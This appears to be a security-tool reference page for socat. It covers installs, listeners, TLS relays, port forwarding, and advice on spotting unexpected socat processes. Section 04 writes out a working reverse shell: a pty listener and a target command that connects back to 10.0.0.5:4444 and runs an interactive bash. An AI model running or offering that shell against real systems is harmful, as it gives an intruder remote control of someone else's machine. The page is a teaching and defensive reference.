arsenal/socat

socat

multipurpose relay · GPLv2

A more capable netcat: bidirectional relays, encrypted tunnels, and stable upgraded shells between almost any two endpoints.

Authorized use only. Run these only on systems you own or have explicit written permission to test. Full notice at the foot of the page.

01netcat's heavier cousin

socat connects two data streams and relays between them, and the streams can be almost anything: a TCP socket, a file, a pipe, a serial port, a TLS connection, a pseudo-terminal. That generality makes it the tool you reach for when netcat is not quite enough: when you need encryption, a real terminal for a shell, or a relay between two kinds of endpoint. The syntax is two address specifications, and it reads strangely until it clicks: socat ADDRESS1 ADDRESS2.

↑ contents

02Install

$ sudo emerge net-misc/socat # Gentoo

$ sudo apt install socat # Debian / Ubuntu / Kali

$ sudo dnf install socat # Fedora / RHEL

03A listener and a connection

The netcat equivalents, to get your bearings. The first listens and prints what arrives; the second connects and relays your terminal to a remote port.

$ # listen on 4444 and print what arrives:

$ socat - TCP-LISTEN:4444

$ # connect to a port and relay stdin/stdout:

$ socat - TCP:10.0.0.12:80

04The upgraded shell, socat's party trick

A netcat reverse shell is a dumb pipe: no job control, no tab completion, Ctrl-C kills it. socat can give you a full interactive terminal instead, which is why people upgrade a netcat shell to socat the moment they can. On your own lab this is the difference between a frustrating shell and a usable one.

$ # listener with a proper pty:

$ socat file:`tty`,raw,echo=0 TCP-LISTEN:4444

$ # target connects back with a real shell (authorized host):

$ socat TCP:10.0.0.5:4444 EXEC:'bash -li',pty,stderr,setsid,sigint,sane

05An encrypted relay

Unlike plain netcat, socat speaks TLS, so a relay or shell can be encrypted and even authenticated with a certificate. For any legitimate remote connection you want private, this is the difference between cleartext and not. Generate a cert, listen with OPENSSL-LISTEN, connect with OPENSSL.

$ openssl req -x509 -newkey rsa:2048 -keyout s.key -out s.crt -days 30 -nodes

$ cat s.key s.crt > s.pem

$ socat OPENSSL-LISTEN:4444,cert=s.pem,verify=0 -

06Port forwarding and relays

socat shines at gluing two endpoints together: forward a local port to a remote service, or bridge a serial device to a TCP port. fork lets it handle more than one connection. This is the honest, everyday use that has nothing to do with attacks.

$ # forward local 8080 to an internal web server:

$ socat TCP-LISTEN:8080,fork,reuseaddr TCP:10.0.0.12:80

↑ contents

07Recognising socat where it should not be

Because socat can build encrypted tunnels and relays, it is a favourite for pivoting and for hiding traffic during an intrusion. On your own systems, a socat process you did not start, especially one with OPENSSL or EXEC in its arguments, is worth investigating; so is an unexpected forwarded port. The legitimate uses (encrypted relays, serial bridges, test forwards) are yours to run knowingly; the ones you did not start are the signal.

» Audit for listening ports and the processes behind them; an unexplained socat listener is a red flag.

» Egress filtering limits outbound tunnels the same way it limits reverse shells.

» Prefer socat's TLS modes for your own remote relays so your legitimate traffic is encrypted and distinguishable.

↑ contents